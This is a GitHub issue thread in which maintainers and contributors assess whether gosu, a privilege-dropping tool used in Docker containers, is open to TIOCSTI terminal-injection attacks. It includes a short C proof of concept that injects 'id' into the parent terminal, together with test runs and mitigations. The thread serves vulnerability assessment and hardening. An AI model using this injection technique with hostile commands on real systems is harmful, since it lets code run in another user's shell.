Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Keeping the TTY across a privilege boundary might be insecure #37

Open
TimWolla opened this issue Jun 12, 2017 · 21 comments
Open

Keeping the TTY across a privilege boundary might be insecure #37

TimWolla opened this issue Jun 12, 2017 · 21 comments

Comments

@TimWolla
Copy link

As per IRC:

<+TimWolla> tianon, you might want to check whether this applies to gosu: http://www.openwall.com/lists/oss-security/2017/06/03/9
<+TimWolla> Should I create an issue?
<@tianon> TimWolla: hrm, that's troubling -- we intentionally don't touch anything TTY related (that's one of the main features over "su" or "sudo") :(
<@tianon> TimWolla: an issue would probably be great for discussing / figuring out whether there's impact to gosu and whether there's something we should fix or document about it :)

@TimWolla
Copy link
Author

Also relevant (quote from the link above):

Another point Alan brought up is that if a program is careless enough
not to allocate a new pty, it's probably also careless enough not to
close any fd's that might be open in the parent shell or by the program
itself. Let's also not miss this reminder and review/correct/harden
these same programs in this respect as well.

You should ensure that all the file descriptors are closed (except maybe STDIN / STDOUT / STDERR? I don't know, this is not my area of expertise).

@tianon
Copy link
Owner

tianon commented Jun 12, 2017

Keeping file descriptors across the boundary was also considered a feature. 😞

Is there any good information about a simple way to exploit so we can more easily test the level to which we're affected and whether there are mitigations we can recommend with or without changes to gosu itself? 😰

@TimWolla
Copy link
Author

As I said: Not my area of expertise. Possibly the use for PID 1 in a container is absolutely fine, while other uses are not. I recommend asking on that mailing list.

Use the following headers for proper threading (I can send you the .eml in private if necessary):

References: <20170603165813.GA20708@openwall.com>
In-Reply-To: <20170603165813.GA20708@openwall.com>

@TimWolla
Copy link
Author

I just noticed that there are further replies to that mailing list thread, including a link to Busybox' bug tracker, with an example program: http://www.openwall.com/lists/oss-security/2017/06/04/2

@tianon
Copy link
Owner

tianon commented Jun 13, 2017

Nice, thanks for the link! I've tried the program there, and gosu is indeed vulnerable (by design, really).

The catch is that the exploit provided there only works if gosu is run from an interactive shell -- if folks are using gosu in the way that it is intended (exec gosu some-user ... at the end of a docker-entrypoint.sh script), then the parent shell is replaced by gosu, and so there is no longer an interactive shell for the exploiting command to interact with indirectly. 👍

Edit: adding the contents of the C source for posterity's sake:

#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>

int main()
{
	 for (char *cmd = "id\n"; *cmd; cmd++) {
			 if (ioctl(STDIN_FILENO, TIOCSTI, cmd)) {
					 fprintf(stderr, "++ ioctl failed: %m\n");
					 return 1;
			 }
	 }
	 return 0;
}

@TimWolla
Copy link
Author

The catch is that the exploit provided there only works if gosu is run from an interactive shell

Consider preventing running gosu from an interactive shell then. If it can be misused it will be misused, especially since it's part of the Debian repositories starting with Stretch.

@tianon
Copy link
Owner

tianon commented Jun 13, 2017

How do we detect it being used from within an interactive shell? Just detecting a TTY won't be enough, since a TTY is generated for non-interactive cases too (such as docker run -it --rm ...).

@tmarplatt
Copy link

if folks are using gosu in the way that it is intended (exec gosu some-user ... at the end of a docker-entrypoint.sh script)

What if gosu is used to launch a TTY? Say, at the end of a Dockerfile:
CMD ["gosu", "user:group", "/bin/bash"]
Is the spawned shell safe from this exploit?

(Great work on gosu btw)

@tianon
Copy link
Owner

tianon commented Oct 4, 2017

Since the shell spawning that container is completely isolated from the Docker container, it should be isolated from this exploit, but I'm going to go verify that now to be sure. If it is, then Docker itself should be also (with or without gosu being involved), but it shouldn't be since the Docker daemon is allocating an entirely new TTY, and simply attaching our current terminal's input to that new TTY.

@tianon
Copy link
Owner

tianon commented Oct 4, 2017

Ok, I put the C source into a file called source.c, and used the following to build a static binary to make this easier to mess with:

$ docker run -it --rm -v "$PWD":/src -w /src -u "$(id -u):$(id -g)" gcc gcc -o boom -static ./source.c

(so now I've got an executable named boom in the current directory which is statically compiled and ready for testing)

Running that file directly in my current terminal exhibits the vuln:

$ ./boom
id
$ id
uid=1000(tianon) gid=1000(tianon) groups=1000(tianon),...

Running that in a container:

$ docker run -it --rm -v "$PWD":/cwd:ro alpine /cwd/boom
id

(no additional id process spawned anywhere, either inside or outside the container)

And with gosu (latest release downloaded to the current directory):

$ docker run -it --rm -v "$PWD":/cwd:ro alpine /cwd/gosu nobody /cwd/boom
id

@EtchedPixels
Copy link

EtchedPixels commented Feb 2, 2018

And when your docker process dies the id will be typed into the shell I suspect. Even if you say 'but it'll never die' what about forced out of memory ?

For other fun try things changing the terminal speed, video mode settings etc or reloading the keymap if it's run on a console.

The only case it's safe not to allocate a pty/tty pair is if you know you are going from low to high privilege. Even then you need to be careful about how much trust you have in the caller.

If docker is allocating a pty/tty pair then you may be safe - or at least you can only harm the inside of the container but as a general purpose utility it's a bit of a hazard.

@tianon
Copy link
Owner

tianon commented Feb 2, 2018

@EtchedPixels except that the interactive terminal we (the user) are attached to is never passed to the container -- when we do docker run, that communicates through a socket back to dockerd, which allocates a new TTY and passes that to the container, and we're simply sending/receiving TTY updates through that socket, so our own TTY is already isolated in the Docker use case (and if it isn't, then that's a bug in the Docker client which should be fixed)

@EtchedPixels
Copy link

Which means its safe for that explicit use case - but not generically.

@tianon
Copy link
Owner

tianon commented Feb 2, 2018

Not sure I understand fully what you're getting at -- that's the target use case of gosu. 😕

@EtchedPixels
Copy link

I'm agreeing it works for the target case. But it doesn't work if people go off and use if for other things. Not saying that's bad, and it's documented here now. For your intended purpose it looks good to me.

(and I ended up reading this and the code because someone was planning to use it in a different context)

@rapenchukd
Copy link

rapenchukd commented Feb 26, 2018

May I recommend at least explicitly specifying that is the only intended use case, and at a minimal warn that it could be a vulnerability used otherwise? I see gosu used in a lot of things that aren't contained in a container.

Or maybe even go as far as to make it so gosu will only work if it is spawned by PID 1?

tianon added a commit that referenced this issue Feb 26, 2018
@tianon
Copy link
Owner

tianon commented Feb 26, 2018

Good point, note to the README added in 80bde40.

@tianon
Copy link
Owner

tianon commented Feb 26, 2018

(I'd be very interested in hearing more about places folks are using gosu outside of a container -- I haven't seen any of those, and that's frankly a little terrifying.)

@dbjpanda
Copy link

dbjpanda commented Dec 28, 2018

I use gosu in my entrypoint script like below.

HOST_CURRENT_USER_ID=$(stat -c "%u" /var/www/${PROJECT_NAME})
if [ ${HOST_CURRENT_USER_ID} -ne 0 ]; then
    gosu root usermod -u ${HOST_CURRENT_USER_ID} deploy
    gosu root groupmod -g ${HOST_CURRENT_USER_ID} deploy
fi

which gosu && gosu root chmod o-rwx /usr/bin/gosu

As you can see at the end of my entrypoint script I have revoked the permission from gosu. Is it safe now ?

@tianon
Copy link
Owner

tianon commented Dec 28, 2018

I'll reiterate that gosu root ... really doesn't make sense; this is the wrong tool for the job of escalating privileges (it's designed for the exact opposite of that).

@tianon
Copy link
Owner

tianon commented Mar 23, 2023

Coming back to this, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=83efeeeb3d04b22aaed1df99bc70a48fe9d22c4d is useful -- setting CONFIG_LEGACY_TIOCSTI=n on a new enough kernel completely disables this vector. 👀

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants